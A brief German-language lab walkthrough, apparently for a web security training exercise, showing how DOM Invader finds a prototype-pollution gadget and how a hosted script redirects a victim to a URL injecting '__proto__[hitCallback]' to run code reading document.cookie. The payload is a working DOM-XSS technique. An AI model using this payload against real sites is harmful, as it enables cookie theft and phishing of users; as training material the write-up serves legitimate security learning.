>Ein Ziel ist anfällig für DOM-XSS durch clientseitige Prototype Pollution. **[DOM Invader](#dom-invader)** wird den Gadget ***identifizieren*** und mithilfe eines gehosteten Payloads Phishing gegen das Opfer durchführen sowie dessen Cookie stehlen.
>Im Body-Bereich des Exploit-Servers einen Exploit hosten, der das Opfer zu einer bösartigen URL weiterleitet.```html
<script>
location="https://TARGET.NET/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
Das obige Bild zeigt die Deliver to Victim-Phishing-Anfrage, die gesendet wird.